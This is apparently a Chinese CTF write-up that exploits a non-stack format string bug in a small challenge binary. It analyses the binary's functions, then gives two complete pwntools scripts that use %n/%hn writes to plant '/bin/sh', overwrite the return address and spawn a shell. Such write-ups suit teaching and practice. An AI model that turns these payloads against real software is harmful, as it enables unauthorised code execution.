fmt
前言
一个平常的下午,学妹让我帮忙看看题。起初我不以为意,吃完晚饭才开始看。然后就写到了1点钟。感觉自己的思路还是太丑陋,不优雅。于是想起了一个格式化字符串的极限利用。
一次有趣的格式化字符串漏洞利用 | ZIKH26’s Blog
开始研究
ida分析
main函数

功能非常的简单,
- 循环3次调用talk,需要控制flag的值(后续再看)
- atk判断,成功则调用he()
先看he()里有啥。
he函数

这里建议看汇编,
- system的出现,让人思路开朗
- command是
-0xe,也就是要控制rbp-0xe
- 注意lea 和 mov 的区别,通过这个方法的话,必须要把”/bin/sh”写在栈上
一般揣测一下出题人的想法,肯定是最后要返回到这里了。
talk函数

重点来了,
- 非栈上格式化字符串,每次只读0x20字节
- flag初始是0,talk会把它变成1,想办法置0
- 返回到了my_read,继续追踪

看看bss段上,这些变量的位置

atk在flag上面,那么就可以利用my_read把flag设置成0 ,只要每次都输入8字节就可以.
思路分析
1.通过格式化字符串去修改command,和返回地址.让程序最后跳转执行,getshell
2.但是,常规的思路,需要的格式化次数不止3次。
- %p泄露栈地址
- 把rbp链入(因为此题目栈上无
诸葛连弩,要自己建)
- 修改啥也不行,没次数了
3.所以笔者在这里用了一些奇怪的方法。
- 笔者开始想,因为
i也是在栈上的,所以我可以修改i来增加次数
- 但是,恰因如此,如果修改rbp,那么会影响下次循环对
i的判断,
- 于是笔者又注意到栈上有很多0,控制好rbp,其实也是可以的 。
- 所以在笔者的精心的构造下,完成了10次格式化字符串的修改。
- 比较重要的就是两个$n的运用。一个把
sh写在了栈上,一个把最后修改返回地址前的,rbp-0x4 修改好了.
4.笔者又再反思,可不可以利用格式化字符串的极限,两次把所需的改完.答案是可以.
exp
10次格式化字符串
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| from esy import * context.log_level="debug"
io,elf=loadfile("./pwn")
payload=b"%8$p" io.sendafter("...\n",payload) rbp=int(io.recv(14),16)-0x20
rbp_low=rbp & 0xffff fmt_low=0x4040c0 & 0xffff io.sendafter("battle!",b"a"*8)
payload = '%{}c%6$hn'.format(rbp_low).encode() io.sendafter("...\n",payload) io.sendafter("battle!",b"a"*8)
payload = '%{}c%47$hn\x00'.format(rbp_low+0x38).encode() io.sendafter("...\n",payload) io.sendafter("battle!",b"a"*8)
payload = '%{}c%8$n\x00'.format(0x6873).encode()
io.sendafter("...\n",payload) io.sendafter("battle!",b"a"*8)
payload = '%{}c%47$hn'.format(rbp_low+0x58).encode() payload+= '%{}c%6$hn\x00'.format((0x38+0xe-4-0x58+0x10000)%0x10000).encode() print(5) io.sendafter("...\n",payload) io.sendafter("battle!",b"a"*8)
payload = '%{}c%47$n\x00'.format(0x00).format() io.sendafter("...\n",payload) io.sendafter("battle!",b"a"*8)
payload = '%{}c%6$hn\x00'.format(rbp_low).encode() io.sendafter("...\n",payload) io.sendafter("battle!",b"a"*8)
payload = '%{}c%47$hn\x00'.format(rbp_low+0x38+0xe).encode() payload = payload.ljust(0x20,b'\x00') io.sendafter("...\n",payload) io.sendafter("battle!",b"a"*8) gdb.attach(io,"b *0x401332")
payload = '%{}c%6$hn\x00'.format(rbp_low+8).encode() io.sendafter("...\n",payload) io.sendafter("battle!",b"a"*8)
payload = '%{}c%47$hn'.format(0x1274).encode() print(len(payload)) payload +=b'/bin/sh\x00' io.sendafter("...\n",payload) io.sendafter("battle!",b"a"*8) io.interactive()
|
优雅至极
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| from esy import * context.log_level="debug"
io,elf=loadfile("./pwn") gdb.attach(io,"b *0x401332")
payload=b"%8$p" io.sendafter("...\n",payload)
rbp=int(io.recv(14),16)-0x20
rbp_low=rbp & 0xffff fmt_low=0x4040c0 & 0xffff io.sendafter("battle!",b"a"*8)
payload = b"%p" * 4 payload += '%{}c%hn'.format(rbp_low+0x20-0x4-40).encode() payload+= '%{}c%47$hn'.format((0x6873-(rbp_low+0x20)+0xe)).encode() io.sendafter("...\n",payload) io.sendafter("battle!",b"a"*8)
payload = b"%p" *4 payload+= '%{}c%hn'.format(rbp_low+0x12-40).encode() payload+= '%{}c%47$hn'.format((0x1274-(rbp_low+0x38)+0x30+0x10000)%0x10000).encode() io.sendafter("...\n",payload) io.sendafter("battle!",b"a"*8)
io.interactive()
|